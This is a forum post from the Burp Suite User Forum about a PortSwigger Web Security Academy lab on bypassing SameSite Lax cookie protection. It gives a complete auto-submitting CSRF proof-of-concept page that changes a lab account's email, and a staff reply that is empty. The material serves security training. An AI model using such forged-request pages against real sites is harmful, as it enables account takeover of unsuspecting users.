Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Lab: SameSite Lax bypass via cookie refresh

Moustafa | Last updated: May 10, 2024 07:55AM UTC

this lab can be solved by deliver this only exploit to the victim without anything else <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="https://0a2200f1047f987082ed51d5000800d1.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="wiener1&#64;normal&#45;user&#46;net" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>

Ben, PortSwigger Agent | Last updated: May 10, 2024 12:50PM UTC